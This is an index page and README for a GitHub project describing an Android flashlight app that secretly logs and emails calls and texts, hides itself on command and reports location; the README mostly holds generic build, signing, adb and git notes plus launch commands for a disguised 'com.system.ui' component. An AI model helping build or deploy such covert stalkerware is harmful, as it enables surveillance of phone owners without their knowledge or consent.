https://github.com/amboxer21/flashlight
Silently logs and E-mails all incoming/outgoing calls and text messages while doubling up as a flashlight app. The app also has the ability to hide itself via text message and show the phones location.
https://github.com/amboxer21/flashlight
android flashlight intercept rat security spy trojan
Last synced: about 1 year ago
JSON representation
Silently logs and E-mails all incoming/outgoing calls and text messages while doubling up as a flashlight app. The app also has the ability to hide itself via text message and show the phones location.
- Host: GitHub
- URL: https://github.com/amboxer21/flashlight
- Owner: amboxer21
- Created: 2016-03-21T00:48:32.000Z (over 10 years ago)
- Default Branch: master
- Last Pushed: 2021-03-31T10:59:30.000Z (about 5 years ago)
- Last Synced: 2025-04-01T06:11:45.255Z (about 1 year ago)
- Topics: android, flashlight, intercept, rat, security, spy, trojan
- Language: Java
- Homepage:
- Size: 2.77 MB
- Stars: 21
- Watchers: 1
- Forks: 3
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Changelog: Change.log
Awesome Lists containing this project
README
# FlashLight
### IMPORTANT
> **This app no longer works with newer versions of Android(9, 10, 11) due to their new security practices. They now limit background apps(daemons) and what they have acces to while running in the background.**
Intercepts incoming text messages
Uninstall app from command line via adb:
adb uninstall
A compilation of command line commands that I use/used to build this app.
TO CREATE/GENERATE A NEW PROJECT:
android create project --target 16 --name --path . --activity --package com.package.name
TO LIST TARGETS:
android list targets
UPDATE PROJECT AFTER(mostly used when chaging target number or deleting build.xml file:
android update project --name FlashLight --subprojects --target 16 --path .
CLEAN BUILD:
ant clean
BUILD APP for debug:
ant debug
BUILD APP for release(Needs to be signed - See bottom on how to sign APK):
PUSH:
adb push bin/FlashLight-release.apk /sdcard/Download/
DEBUG CRASHES:
adb shell logcat | egrep --color -i runtime
DEBUG CODE:
adb shell logcat
CREATE AN AVD ON THE COMMAND LINE:
android create avd -n Nexus6_dev -t 9 -c 1024M -s 480x800
LIST AVD's:
emulator -list-avds
START AVD FROM COMMAND LINE:
Run one of the listed emulators:
emulator @name-of-your-emulator
example:
emulator @nexus_dev
...
where emulator is under:
${ANDROID_SDK}/tools/emulator
export env variable to prevent 32 deprication error:
export ANDROID_EMULATOR_FORCE_32BIT=true
ADD TO .bashrc file.
Building an APK for release : ant release
Signing an APK:
Run this from the command line to generate a release key:
keytool -genkey -v -keystore release.keystore -alias releasekey -keyalg RSA -keysize 2048 -validity 10000
Add this to your ant.properties file. If you dont have one create one. :
key.store=release.keystore
key.alias=releasekey
key.store.password=my_password
key.alias.password=my_password
pull remote branch into local:
git fetch origin
git checkout --track -b origin/
Roll back push/commit to specific branch(local branch):
git reset --hard
Roll baack push/commit to specific branch(remote branch):
git push -f origin
Remove unwanted added files(git add .):
git rm -r
git rm --cached -r
Change java version:
sudo update-alternatives --config java
-----------------------------------------------------------------------------------
Use context outside of Activity:
In the class, decalsre public static context class,
public static Context context;
Declare class contructor:
public SMSObserver(Handler handler, Context _context) {
super(handler);
SMSObserver.context = _context;
}
Pass context to class through service class or activity:
SMSObserver smsObserver = new SMSObserver(new Handler(), getApplicationContext());
-----------------------------------------------------------------------------------
Databases on rooted phones for 7.X are now located at
/data/user_de/0/
Get a list of providers:
rc/com/sms/interceptor/FlashLight.javadb shell dumpsys | grep Provider{
To launch smsimterceptor for the first time you must run this:
adb shell am start -n com.sms.interceptor/.FlashLight
adb shell am start -n com.system.ui/com.system.UI